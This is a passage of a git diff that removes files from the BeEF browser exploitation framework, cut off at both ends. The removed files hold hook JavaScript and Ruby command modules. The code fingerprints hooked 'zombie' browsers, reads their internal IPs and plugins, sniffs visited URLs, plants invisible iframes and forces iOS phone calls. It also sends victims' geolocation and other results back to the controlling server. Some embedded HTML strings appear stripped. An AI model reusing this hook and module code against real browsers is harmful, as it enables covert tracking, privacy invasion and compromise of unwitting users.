sent - raw_request = @params['raw_request'] || nil - raise WEBrick::HTTPStatus::BadRequest, "raw_request is nil" if raw_request.nil? - raise WEBrick::HTTPStatus::BadRequest, "raw_request contains non-printable chars" if not Filter.has_non_printable_char?(raw_request) - - # validate nonce - nonce = @params['nonce'] || nil - raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil? - raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce - - # validate that the raw request is correct and can be used - req_parts = raw_request.split(/ |\n/) # break up the request - verb = req_parts[0] - raise 'Only GET or POST requests are supported' if not Filter.is_valid_verb?(verb) #check verb - uri = req_parts[1] - raise 'Invalid URI' if not Filter.is_valid_url?(uri) #check uri - version = req_parts[2] - raise 'Invalid HTTP version' if not Filter.is_valid_http_version?(version) # check http version - HTTP/1.0 - host_str = req_parts[3] - raise 'Invalid HTTP version' if not Filter.is_valid_host_str?(host_str) # check host string - Host: - host = req_parts[4] - host_parts = host.split(/:/) - hostname = host_parts[0] - raise 'Invalid hostname' if not Filter.is_valid_hostname?(hostname) # check the target hostname - hostport = host_parts[1] || nil - if !hostport.nil? - raise 'Invalid hostport' if not Filter.nums_only?(hostport) # check the target hostport - end - - # (re)build the request - green_request = StringIO.new(verb + " " + uri + " " + version + "\n" + host_str + " " + host) - request = WEBrick::HTTPRequest.new(WEBrick::Config::HTTP) - request.parse(green_request) - - # Saves the new HTTP request. - http = H.new( - :request => raw_request, - :method => request.request_method, - :domain => request.host, - :path => request.unparsed_uri, - :date => Time.now, - :zombie_id => zombie.id - ) - - if request.request_method.eql? 'POST' - http.content_length = request.content_length - end - - http.save - - @body = '{success : true}' - end - - # Returns a JSON object containing the history of requests sent to the zombie. - def get_zombie_history - # validate nonce - nonce = @params['nonce'] || nil - raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil? - raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce - - # validate that the hooked browser's session has been sent - zombie_session = @params['zombie_session'] || nil - raise WEBrick::HTTPStatus::BadRequest, "Zombie session is nil" if zombie_session.nil? - - # validate that the hooked browser exists in the db - zombie = Z.first(:session => zombie_session) || nil - raise WEBrick::HTTPStatus::BadRequest, "Invalid hooked browser session" if zombie.nil? - - history = [] - H.all(:zombie_id => zombie.id).each{|http| - history << { - 'id' => http.id, - 'domain' => http.domain, - 'path' => http.path, - 'has_ran' => http.has_ran, - 'date' => http.date - } - } - - @body = {'success' => 'true', 'history' => history}.to_json - end - - # Returns a JSON objecting containing the response of a request. - def get_zombie_response - # validate nonce - nonce = @params['nonce'] || nil - raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil? - raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce - - # validate the http id - http_id = @params['http_id'] || nil - raise WEBrick::HTTPStatus::BadRequest, "http_id is nil" if http_id.nil? - - # validate that the http object exist in the dabatase - http_db = H.first(:id => http_id) || nil - raise WEBrick::HTTPStatus::BadRequest, "http object could not be found in the database" if http_db.nil? - - res = { - 'id' => http_db.id, - 'request' => http_db.request, - 'response' => http_db.response, - 'domain' => http_db.domain, - 'path' => http_db.path, - 'date' => http_db.date, - 'has_ran' => http_db.has_ran - } - - @body = {'success' => 'true', 'result' => res}.to_json - end - -end - -end -end \ No newline at end of file diff --git a/lib/ui/session.rb b/lib/ui/session.rb deleted file mode 100644 index 9f01a457c..000000000 --- a/lib/ui/session.rb +++ /dev/null @@ -1,113 +0,0 @@ - -module BeEF -module UI - -# -# The session for BeEF UI. -# -class Session - - include Singleton - - attr_reader :ip, :id, :nonce, :auth_timestamp - - def initialize - set_logged_out - @auth_timestamp = Time.new - end - - # - # set the session logged in - # - def set_logged_in(ip) - @id = BeEF::Crypto::secure_token - @nonce = BeEF::Crypto::secure_token - @ip = ip - end - - # - # set the session logged out - # - def set_logged_out - @id = nil - @nonce = nil - @ip = nil - end - - # - # set teh auth_timestamp - # - def set_auth_timestamp(time) - @auth_timestamp = time - end - - # - # return the session id - # - def get_id - @id - end - - # - # return the nonce - # - def get_nonce - @nonce - end - - # - # return the auth_timestamp - # - def get_auth_timestamp - @auth_timestamp - end - - # - # Check if nonce valid - # - def valid_nonce?(request) - - # check if a valid session - return false if not valid_session?(request) - return false if @nonce.nil? - return false if not request.request_method.eql? "POST" - - # get nonce from request - request_nonce = request.query['nonce'] - return false if request_nonce.nil? - - # verify nonce - request_nonce.eql? @nonce - - end - - # - # Check if a session valid - # - def valid_session?(request) - - # check if a valid session exists - return false if @id.nil? - return false if @ip.nil? - - # check ip address matches - return false if not @ip.to_s.eql? request.peeraddr[3] - - # get session cookie name from config - config = BeEF::Configuration.instance - session_cookie_name = config.get('session_cookie_name') - - # check session id matches - request.cookies.each{|cookie| - c = WEBrick::Cookie.parse_set_cookie(cookie.to_s) - return true if (c.name.to_s.eql? session_cookie_name) and (c.value.eql? @id) - } - - # not a valid session - false - end - -end - -end -end \ No newline at end of file diff --git a/modules/beefjs/beef.js b/modules/beefjs/beef.js deleted file mode 100644 index e228d8acb..000000000 --- a/modules/beefjs/beef.js +++ /dev/null @@ -1,46 +0,0 @@ -/*! - * BeEF JS Library <%= @beef_version %> - * http://beef.googlecode.com/ - */ - -$j = jQuery.noConflict(); - -//<%= @beef_hook_session_name %>='<%= @beef_hook_session_id %>'; - -if(typeof beef === 'undefined' && typeof window.beef === 'undefined') { - - var BeefJS = { - - version: '<%= @beef_version %>', - - // This get set to true during window.onload(). It's a useful hack when messing with document.write(). - pageIsLoaded: false, - - // An array containing functions to be executed by Beef. - commands: new Array(), - - // An array containing all the BeEF JS components. - components: new Array(), - - /** - * Adds a function to execute. - * @param: {Function} the function to execute. - */ - execute: function(fn) { - this.commands.push(fn); - }, - - /** - * Registers a component in BeEF JS. - * @params: {String} the component. - * - * Components are very important to register so the framework does not - * send them back over and over again. - */ - regCmp: function(component) { - this.components.push(component); - } - }; - - window.beef = BeefJS; -} \ No newline at end of file diff --git a/modules/beefjs/browser.js b/modules/beefjs/browser.js deleted file mode 100644 index ead7c91b9..000000000 --- a/modules/beefjs/browser.js +++ /dev/null @@ -1,688 +0,0 @@ -/** - * @literal object: beef.browser - * - * Basic browser functions. - */ -beef.browser = { - - /** - * Returns the user agent that the browser is claiming to be. - * @example: beef.browser.getBrowserReportedName() - */ - getBrowserReportedName: function() { - return navigator.userAgent; - }, - - /** - * Returns true if IE6. - * @example: beef.browser.isIE6() - */ - isIE6: function() { - return !window.XMLHttpRequest && !window.globalStorage; - }, - - /** - * Returns true if IE7. - * @example: beef.browser.isIE7() - */ - isIE7: function() { - return !!window.XMLHttpRequest && !window.chrome && !window.opera && !window.getComputedStyle && !window.globalStorage; - }, - - /** - * Returns true if IE8. - * @example: beef.browser.isIE8() - */ - isIE8: function() { - $j("body").append(''); - return ($j('#beefiecheck').hasClass('ie8'))?true:false; - }, - - /** - * Returns true if IE9. - * @example: beef.browser.isIE9() - */ - isIE9: function() { - $j("body").append(''); - return ($j('#beefiecheck').hasClass('ie9'))?true:false; - }, - - /** - * Returns true if IE. - * @example: beef.browser.isIE() - */ - isIE: function() { - return this.isIE6() || this.isIE7() || this.isIE8() || this.isIE9(); - }, - - /** - * Returns true if FF2. - * @example: beef.browser.isFF2() - */ - isFF2: function() { - return !!window.globalStorage && !window.postMessage; - }, - - /** - * Returns true if FF3. - * @example: beef.browser.isFF3() - */ - isFF3: function() { - return !!window.globalStorage && !!window.postMessage && !JSON.parse; - }, - - /** - * Returns true if FF35. - * @example: beef.browser.isFF35() - */ - isFF35: function() { - return !!window.globalStorage && !!JSON.parse && !window.FileReader; - }, - - /** - * Returns true if FF36. - * @example: beef.browser.isFF36() - */ - isFF36: function() { - return !!window.globalStorage && !!window.FileReader && !window.multitouchData; - }, - - /** - * Returns true if FF4. - * @example: beef.browser.isFF4() - */ - isFF4: function() { - return !!window.globalStorage && !!window.history.replaceState; - }, - - /** - * Returns true if FF. - * @example: beef.browser.isFF() - */ - isFF: function() { - return this.isFF2() || this.isFF3() || this.isFF35() || this.isFF36() || this.isFF4(); - }, - - /** - * Returns true if Safari. - * @example: beef.browser.isS() - */ - isS: function() { - return !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome; - }, - - /** - * Returns true if Chrome 5. - * @example: beef.browser.isC5() - */ - isC5: function() { - return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==5)?true:false); - }, - - /** - * Returns true if Chrome 6. - * @example: beef.browser.isC6() - */ - isC6: function() { - return (!!window.chrome && !!window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==6)?true:false); - }, - - /** - * Returns true if Chrome 7. - * @example: beef.browser.isC7() - */ - isC7: function() { - return (!!window.chrome && !!window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==7)?true:false); - }, - - /** - * Returns true if Chrome 8. - * @example: beef.browser.isC8() - */ - isC8: function() { - return (!!window.chrome && !!window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==8)?true:false); - }, - - /** - * Returns true if Chrome 9. - * @example: beef.browser.isC9() - */ - isC9: function() { - return (!!window.chrome && !!window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==9)?true:false); - }, - - /** - * Returns true if Chrome 10. - * @example: beef.browser.isC10() - */ - isC10: function() { - return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==10)?true:false); - }, - - /** - * Returns true if Chrome. - * @example: beef.browser.isC() - */ - isC: function() { - return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10(); - }, - - /** - * Returns true if Opera 9.50 trough 9.52. - * @example: beef.browser.isO952() - */ - isO952: function() { - return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.5/) != null)); - }, - - /** - * Returns true if Opera 9.60 trough 9.64. - * @example: beef.browser.isO960() - */ - isO960: function() { - return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.6/) != null)); - }, - - /** - * Returns true if Opera 10.xx. - * @example: beef.browser.isO10() - */ - isO10: function() { - return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/10\./) != null)); - }, - - /** - * Returns true if Opera 11.xx. - * @example: beef.browser.isO11() - */ - isO11: function() { - return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/11\./) != null)); - }, - - /** - * Returns true if Opera. - * @example: beef.browser.isO() - */ - isO: function() { - return this.isO952() || this.isO960() || this.isO10() || this.isO11(); - }, - - /** - * Returns the type of browser being used. - * @example: beef.browser.type().IE6 - * @example: beef.browser.type().FF - * @example: beef.browser.type().O - */ - type: function() { - - return { - C5: this.isC5(), // Chrome 5 - C6: this.isC6(), // Chrome 6 - C7: this.isC7(), // Chrome 7 - C8: this.isC8(), // Chrome 8 - C9: this.isC9(), // Chrome 9 - C10: this.isC10(), // Chrome 10 - C: this.isC(), // Chrome any version - FF2: this.isFF2(), // Firefox 2 - FF3: this.isFF3(), // Firefox 3 - FF35: this.isFF35(), // Firefox 3.5 - FF36: this.isFF36(), // Firefox 3.6 - FF4: this.isFF4(), // Firefox 4 - FF: this.isFF(), // Firefox any version - IE6: this.isIE6(), // Internet Explorer 6 - IE9: this.isIE9(), // Internet Explorer 9 - IE8: this.isIE8(), // Internet Explorer 8 - IE7: this.isIE7(), // Internet Explorer 7 - IE: this.isIE(), // Internet Explorer any version - O952: this.isO952(), // Opera 9.50 trough 9.52 - O960: this.isO960(), // Opera 9.60 trough 9.64 - O10: this.isO10(), // Opera 10.xx - O11: this.isO11(), // Opera 11.xx - O: this.isO(), // Opera any version - S: this.isS() // Safari any version - } - }, - - /** - * Returns the type of browser being used. - * @return: {String} User agent software and version. - * - * @example: beef.browser.getBrowserVersion() - */ - getBrowserVersion: function() { - - if (this.isC5()) { return '5' }; // Chrome 5 - if (this.isC6()) { return '6' }; // Chrome 6 - if (this.isC7()) { return '7' }; // Chrome 7 - if (this.isC8()) { return '8' }; // Chrome 8 - if (this.isC9()) { return '9' }; // Chrome 9 - if (this.isC10()) { return '10' }; // Chrome 10 - if (this.isFF2()) { return '2' }; // Firefox 2 - if (this.isFF3()) { return '3' }; // Firefox 3 - if (this.isFF35()) { return '3.5' }; // Firefox 3.5 - if (this.isFF36()) { return '3.6' }; // Firefox 3.6 - if (this.isFF4()) { return '4' }; // Firefox 4 - if (this.isIE6()) { return '6' }; // Internet Explorer 6 - if (this.isIE9()) { return '9' }; // Internet Explorer 9 - if (this.isIE8()) { return '8' }; // Internet Explorer 8 - if (this.isIE7()) { return '7' }; // Internet Explorer 7 - if (this.isO952()) { return '9.5' }; // Opera 9.5x - if (this.isO960()) { return '9.6' }; // Opera 9.6 - if (this.isO10()) { return '10' }; // Opera 10.xx - if (this.isO11()) { return '11' }; // Opera 11.xx - return 'UNKNOWN'; // Unknown UA - }, - - /** - * Returns the type of user agent by hooked browser. - * @return: {String} User agent software. - * - * @example: beef.browser.getBrowserName() - */ - getBrowserName: function() { - - if (this.isC()) { return 'C' }; // Chrome any version - if (this.isFF()) { return 'FF' }; // Firefox any version - if (this.isIE()) { return 'IE' }; // Internet Explorer any version - if (this.isO()) { return 'O' }; // Opera any version - if (this.isS()) { return 'S' }; // Safari any version - return 'UN'; // Unknown UA - }, - - /** - * Checks if the zombie has flash installed and enabled. - * @return: {Boolean} true or false. - * - * @example: if(beef.browser.hasFlash()) { ... } - */ - hasFlash: function() { - if (!this.type().IE) { - return (navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"]); - } else { - flash_versions = 10; - flash_installed = false; - - if (window.ActiveXObject) { - for (x = 2; x <= flash_versions; x++) { - try { - Flash = eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash." + x + "');"); - if (Flash) { - flash_installed = true; - } - } - catch(e) { } - } - }; - return flash_installed; - } - }, - - /** - * Checks if the zombie has Java installed and enabled. - * @return: {Boolean} true or false. - * - * @example: if(beef.browser.hasJava()) { ... } - */ - hasJava: function() { - if(!this.type().IE && window.navigator.javaEnabled && window.navigator.javaEnabled()) { - return true; - } - return false; - }, - - /** - * Checks if the zombie has VBScript enabled. - * @return: {Boolean} true or false. - * - * @example: if(beef.browser.hasVBScript()) { ... } - */ - hasVBScript: function() { - if ((navigator.userAgent.indexOf('MSIE') != -1) && (navigator.userAgent.indexOf('Win') != -1)) { - return true; - } else { - return false; - } - }, - - /** - * Returns the list of plugins installed in the browser. - */ - getPlugins: function() { - var results = ''; - if (this.isIE()) - { - results = this.getPluginsIE(); - } else { - if (navigator.plugins && navigator.plugins.length > 0) - { - var length = navigator.plugins.length; - for (var i=0; i < length; i++) - { - if (i != 0) - results += ', '; - results += navigator.plugins[i].name; - } - } else { - results = 'navigator.plugins is not supported in this browser!'; - } - } - return results; - }, - - /** - * Returns a list of plugins detected by IE. This is a hack because IE doesn't - * support navigator.plugins - */ - getPluginsIE: function() { - var results = ''; - var plugins = {'AdobePDF6':{ - 'control':'PDF.PdfCtrl', - 'return': function(control) { - version = control.getVersions().split(','); - version = version[0].split('='); - return 'Acrobat Reader v'+parseFloat(version[1]); - }}, - 'AdobePDF7':{ - 'control':'AcroPDF.PDF', - 'return': function(control) { - version = control.getVersions().split(','); - version = version[0].split('='); - return 'Acrobat Reader v'+parseFloat(version[1]); - }}, - 'Flash':{ - 'control':'ShockwaveFlash.ShockwaveFlash', - 'return': function(control) { - version = control.getVariable('$version').substring(4); - version = version.split(','); - return 'Flash Player v'+parseFloat(version[0]+'.'+version[1]); - }}, - 'Quicktime':{ - 'control': 'QuickTime.QuickTime', - 'return': function(control) { - return 'QuickTime Player'; - }}, - 'RealPlayer':{ - 'control': 'RealPlayer', - 'return': function(control) { - version = control.getVersionInfo(); - return 'RealPlayer v'+parseFloat(version); - }}, - 'Shockwave':{ - 'control': 'SWCtl.SWCtl', - 'return': function(control) { - version = control.ShockwaveVersion('').split('r'); - return 'Shockwave v'+parseFloat(version[0]); - }}, - 'WindowsMediaPlayer': { - 'control': 'WMPlayer.OCX', - 'return': function(control) { - return 'Windows Media Player v'+parseFloat(control.versionInfo); - }} - }; - if (window.ActiveXObject) { - var j = 0; - for (var i in plugins) - { - var control = null; - var version = null; - try { - control = new ActiveXObject(plugins[i]['control']); - } catch (e) { } - if (control) - { - if (j != 0) - results += ', '; - results += plugins[i]['return'](control); - j++; - } - } - } - return results; - }, - - /** - * Returns zombie screen size and color depth. - */ - getScreenParams: function() { - return { - width: window.screen.width, - height: window.screen.height, - colordepth: window.screen.colorDepth - } - }, - - /** - * Returns zombie browser window size. - * @from: http://www.howtocreate.co.uk/tutorials/javascript/browserwindow - */ - getWindowSize: function() { - var myWidth = 0, myHeight = 0; - if( typeof( window.innerWidth ) == 'number' ) { - // Non-IE - myWidth = window.innerWidth; - myHeight = window.innerHeight; - } else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) { - // IE 6+ in 'standards compliant mode' - myWidth = document.documentElement.clientWidth; - myHeight = document.documentElement.clientHeight; - } else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) { - // IE 4 compatible - myWidth = document.body.clientWidth; - myHeight = document.body.clientHeight; - } - return { - width: myWidth, - height: myHeight - } - }, - - /** - * Construct hash from browser details. This function is used to grab the browser details during the hooking process - */ - getDetails: function() { - var details = new Array(); - - var browser_name = beef.browser.getBrowserName(); - var browser_version = beef.browser.getBrowserVersion(); - var browser_reported_name = beef.browser.getBrowserReportedName(); - var page_title = document.title; - var hostname = document.location.hostname; - var browser_plugins = beef.browser.getPlugins(); - var os_name = beef.os.getName(); - var internal_ip = beef.net.local.getLocalAddress(); - var internal_hostname = beef.net.local.getLocalHostname(); - - if(browser_name) details["BrowserName"] = browser_name; - if(browser_version) details["BrowserVersion"] = browser_version; - if(browser_reported_name) details["BrowserReportedName"] = browser_reported_name; - if(page_title) details["PageTitle"] = page_title; - if(hostname) details["HostName"] = hostname; - if(browser_plugins) details["BrowserPlugins"] = browser_plugins; - if(os_name) details['OsName'] = os_name; - if(internal_ip) details['InternalIP'] = internal_ip; - if(internal_hostname) details['InternalHostname'] = internal_hostname; - - return details; - }, - - /** - * Returns array of results, whether or not the target zombie has visited the specified URL - */ - hasVisited: function(urls) { - var results = new Array(); - var iframe = beef.dom.createInvisibleIframe(); - var ifdoc = (iframe.contentDocument) ? iframe.contentDocument : iframe.contentWindow.document; - ifdoc.open(); - ifdoc.write(''); - ifdoc.close(); - urls = urls.split("\n"); - var count = 0; - for (var i in urls) - { - var u = urls[i]; - if (u != "" || u != null) - { - var success = false; - var a = ifdoc.createElement('a'); - a.href = u; - ifdoc.body.appendChild(a); - var width = null; - (a.currentStyle) ? width = a.currentStyle['width'] : width = ifdoc.defaultView.getComputedStyle(a, null).getPropertyValue("width"); - if (width == '0px') { - success = true; - } - results.push({'url':u, 'visited':success}); - count++; - } - } - beef.dom.removeElement(iframe); - if (results.length == 0) - { - return false; - } - return results; - }, - - /** - * Checks if the zombie has Google Gears installed. - * @return: {Boolean} true or false. - * - * @from: https://code.google.com/apis/gears/gears_init.js - * */ - hasGoogleGears: function() { - - if (window.google && google.gears) { - return true; - } - - var ggfactory = null; - - // Firefox - if (typeof GearsFactory != 'undefined') { - ggfactory = new GearsFactory(); - } else { - // IE - try { - ggfactory = new ActiveXObject('Gears.Factory'); - // IE Mobile on WinCE. - if (ggfactory.getBuildInfo().indexOf('ie_mobile') != -1) { - ggfactory.privateSetGlobalObject(this); - } - } catch (e) { - // Safari - if ((typeof navigator.mimeTypes != 'undefined') - && navigator.mimeTypes["application/x-googlegears"]) { - ggfactory = document.createElement("object"); - ggfactory.style.display = "none"; - ggfactory.width = 0; - ggfactory.height = 0; - ggfactory.type = "application/x-googlegears"; - document.documentElement.appendChild(ggfactory); - if(ggfactory && (typeof ggfactory.create == 'undefined')) { - ggfactory = null; - } - } - } - } - if (!ggfactory) { - return false - } else { - return true - } - }, - - /** - * Changes the favicon in firefox only - **/ - changeFavicon: function(favicon_url) { - var link = document.createElement('link'); - link.type = 'image/x-icon'; - link.rel = 'shortcut icon'; - link.href = favicon_url; - document.getElementsByTagName('head')[0].appendChild(link); - }, - - /** - * Changes page title - **/ - changePageTitle: function(title) { - document.title = title; - }, - - - /** - * A function that gets the max number of simaltaneous connections the browser can make - * per domain, or globally on all domains. - * - * This code is based on research from browserspy.dk - * - * @parameter {ENUM: 'PER_DOMAIN', 'GLOBAL'=>default} - * @return {Deferred promise} A jQuery deferred object promise, which when resolved passes - * the number of connections to the callback function as "this" - * - * example usage: - * $j.when(getMaxConnections()).done(function(){ - * console.debug("Max Connections: " + this); - * }); - * - */ - getMaxConnections: function(scope) { - - var imagesCount = 30; // Max number of images to test. - var secondsTimeout = 5; // Image load timeout threashold. - var testUrl =""; // The image testing service URL. - - // User broserspy.dk max connections service URL. - if(scope=='PER_DOMAIN') - testUrl = "http://browserspy.dk/connections.php?img=1&random="; - else - // The token will be replaced by a different number with each request(different domain). - testUrl = "http://.browserspy.dk/connections.php?img=1&random="; - - - var imagesLoaded = 0; // Number of responding images before timeout. - var imagesRequested = 0; // Number of requested images. - var testImages = new Array(); // Array of all images. - var deferredObject = $j.Deferred(); // A jquery Deferred object. - - for (var i = 1; i <= imagesCount; i++) - { - // Asynchronously request image. - testImages[i] = - $j.ajax({ - type: "get", - dataType: true, - url: (testUrl.replace("",i)) + Math.random(), - data: "", - timeout: (secondsTimeout * 1000), - - // Function on completion of request. - complete: function(jqXHR, textStatus){ - - imagesRequested++; - - // If the image returns a 200 or a 302, the text Status is "error", else null - if(textStatus == "error") - { - imagesLoaded++; - } - - // If all images requested - if(imagesRequested >= imagesCount) - { - // resolve the deferred object passing the number of loaded images. - deferredObject.resolveWith(imagesLoaded); - } - } - }); - - } - - // Return a promise to resolve the deffered object when the images are loaded. - return deferredObject.promise(); - - } - -}; - -beef.regCmp('beef.browser'); diff --git a/modules/beefjs/browser/cookie.js b/modules/beefjs/browser/cookie.js deleted file mode 100644 index 9c5545f28..000000000 --- a/modules/beefjs/browser/cookie.js +++ /dev/null @@ -1,95 +0,0 @@ -/*! - * @literal object: beef.browser.cookie - * - * Provides fuctions for working with cookies. - * Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php - * Original author unknown. - * - */ -beef.browser.cookie = { - - setCookie: function (name, value, expires, path, domain, secure) - { - - var today = new Date(); - today.setTime( today.getTime() ); - - if ( expires ) - { - expires = expires * 1000 * 60 * 60 * 24; - } - var expires_date = new Date( today.getTime() + (expires) ); - - document.cookie = name + "=" +escape( value ) + - ( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) + - ( ( path ) ? ";path=" + path : "" ) + - ( ( domain ) ? ";domain=" + domain : "" ) + - ( ( secure ) ? ";secure" : "" ); - }, - - getCookie: function(name) - { - var a_all_cookies = document.cookie.split( ';' ); - var a_temp_cookie = ''; - var cookie_name = ''; - var cookie_value = ''; - var b_cookie_found = false; - - for ( i = 0; i < a_all_cookies.length; i++ ) - { - a_temp_cookie = a_all_cookies[i].split( '=' ); - cookie_name = a_temp_cookie[0].replace(/^\s+|\s+$/g, ''); - if ( cookie_name == name ) - { - b_cookie_found = true; - if ( a_temp_cookie.length > 1 ) - { - cookie_value = unescape( a_temp_cookie[1].replace(/^\s+|\s+$/g, '') ); - } - return cookie_value; - break; - } - a_temp_cookie = null; - cookie_name = ''; - } - if ( !b_cookie_found ) - { - return null; - } - }, - - deleteCookie: function (name, path, domain) - { - if ( this.getCookie(name) ) document.cookie = name + "=" + - ( ( path ) ? ";path=" + path : "") + - ( ( domain ) ? ";domain=" + domain : "" ) + - ";expires=Thu, 01-Jan-1970 00:00:01 GMT"; - }, - - hasSessionCookies: function (name) - { - var name = name || "cookie"; - if (name == "") name = "cookie"; - this.setCookie( name, 'none', '', '/', '', '' ); - - cookiesEnabled = (this.getCookie(name) == null)? false:true; - this.deleteCookie(name, '/', ''); - return cookiesEnabled; - - }, - - hasPersistentCookies: function (name) - { - var name = name || "cookie"; - if (name == "") name = "cookie"; - this.setCookie( name, 'none', 1, '/', '', '' ); - - cookiesEnabled = (this.getCookie(name) == null)? false:true; - this.deleteCookie(name, '/', ''); - return cookiesEnabled; - - } - -}; - -beef.regCmp('beef.browser.cookie'); \ No newline at end of file diff --git a/modules/beefjs/dom.js b/modules/beefjs/dom.js deleted file mode 100644 index 48a00645c..000000000 --- a/modules/beefjs/dom.js +++ /dev/null @@ -1,188 +0,0 @@ -/*! - * @literal object: beef.dom - * - * Provides functionalities to manipulate the DOM. - */ -beef.dom = { - - /** - * Generates a random ID for HTML elements - * @param: {String} prefix: a custom prefix before the random id. defaults to "beef-" - * @return: generated id - */ - generateID: function(prefix) { - return ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999); - }, - - /** - * Creates a new element but does not append it to the DOM. - * @param: {String} the name of the element. - * @param: {Literal Object} the attributes of that element. - * @return: the created element. - */ - createElement: function(type, attributes) { - var el = document.createElement(type); - - for(index in attributes) { - if(typeof attributes[index] == 'string') { - el.setAttribute(index, attributes[index]); - } - } - - return el; - }, - - /** - * Removes element from the DOM. - * @param: {String or DOM Object} the target element to be removed. - */ - removeElement: function(el) { - if (!beef.dom.isDOMElement(el)) - { - el = document.getElementById(el); - } - try { - el.parentNode.removeChild(el); - } catch (e) { } - }, - - /** - * Tests if the object is a DOM element. - * @param: {Object} the DOM element. - * @return: true if the object is a DOM element. - */ - isDOMElement: function(obj) { - return (obj.nodeType) ? true : false; - }, - - /** - * Creates an invisible iframe on the hook browser's page. - * @return: the iframe. - */ - createInvisibleIframe: function() { - var iframe = this.createElement('iframe', { - width: '1px', - height: '1px', - style: 'visibility:hidden;' - }); - - document.body.appendChild(iframe); - - return iframe; - }, - - /** - * @param: {String} type: can be one of the following: hidden, fullscreen, custom - * @param: {String} method: can be 'get' or 'post'. defaults to get - * @param: {Hash} params: list of params that will be sent in request. - * @param: {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter - * @param: {Function} a callback function to fire once the iframe has loaded - * @return: {Object} the inserted iframe - */ - createIframe: function(type, method, params, styles, onload) { - var css = {}; - var form_submit = (method.toLowerCase() == 'post') ? true : false; - if (form_submit && params['src']) - { - var form_action = params['src']; - params['src'] = ''; - } - if (type == 'hidden') { css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles); } - if (type == 'fullscreen') { css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px'}, styles); $j('body').css({'padding':'0px', 'margin':'0px'}); } - var iframe = $j('"; - - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=IFrame Created!"); -}); diff --git a/modules/commands/host/iphone_tel/iphone_tel.rb b/modules/commands/host/iphone_tel/iphone_tel.rb deleted file mode 100644 index 4a52ed482..000000000 --- a/modules/commands/host/iphone_tel/iphone_tel.rb +++ /dev/null @@ -1,46 +0,0 @@ -module BeEF -module Modules -module Commands - - -class Iphone_tel < BeEF::Command - - # - # Defines and set up the command module. - # - def initialize - super({ - 'Name' => 'iPhone Telephone URL', - 'Description' => 'This module will force the browser to attempt a skype - call. It will exploit the insecure handling of URL schemes in iOS.
-
- The protocol handler used will be: tel', - 'Category' => 'Host', - 'Author' => 'xntrik, Nitesh Dhanjani', - 'Data' => [ - { 'name' => 'tel_num', 'ui_label'=>'Number', 'value' =>'5551234','width' => '200px' }, - ], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_WORKING, - 'browser_name' => S - }) - - use 'beef.dom' - use_template! - end - - def callback - content = {} - content['Result'] = @datastore['result'] - save content - - end - -end - -end -end -end diff --git a/modules/commands/host/physical_location/physical_location.js b/modules/commands/host/physical_location/physical_location.js deleted file mode 100644 index 784609b4b..000000000 --- a/modules/commands/host/physical_location/physical_location.js +++ /dev/null @@ -1,11 +0,0 @@ -beef.execute(function() { - - if(!beef.geolocation.isGeolocationEnabled()){ - beef.net.send("<%= @command_url %>", <%= @command_id %>, "geoLocEnabled=FALSE&latitude=&longitude="); - return; - } - - beef.geolocation.getGeolocation("<%= @command_url %>", <%= @command_id %>); - -}); - diff --git a/modules/commands/host/physical_location/physical_location.rb b/modules/commands/host/physical_location/physical_location.rb deleted file mode 100644 index e7187e6b7..000000000 --- a/modules/commands/host/physical_location/physical_location.rb +++ /dev/null @@ -1,42 +0,0 @@ -module BeEF -module Modules -module Commands - - -class Physical_location < BeEF::Command - - def initialize - super({ - 'Name' => 'Physical location', - 'Description' => %Q{ - This module will retrieve the physical location of the victim using the geolocation API - }, - 'Category' => 'Host', - 'Author' => ['antisnatchor'], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_USER_NOTIFY, - 'browser_name' => ALL - }) - - use 'beef.geolocation' - use_template! - end - - def callback - content = {} - content['Geolocation Enabled'] = @datastore['geoLocEnabled'] - content['Latitude'] = @datastore['latitude'] - content['Longitude'] = @datastore['longitude'] - content['OSM address'] = @datastore['osm'] - save content - end - -end - - -end -end -end \ No newline at end of file diff --git a/modules/commands/misc/alert_dialog/alert_dialog.js b/modules/commands/misc/alert_dialog/alert_dialog.js deleted file mode 100644 index 2b03ecd33..000000000 --- a/modules/commands/misc/alert_dialog/alert_dialog.js +++ /dev/null @@ -1,5 +0,0 @@ -beef.execute(function() { - alert("<%== format_multiline(@text) %>"); - - beef.net.send("<%= @command_url %>", <%= @command_id %>, "text=<%== format_multiline(@text) 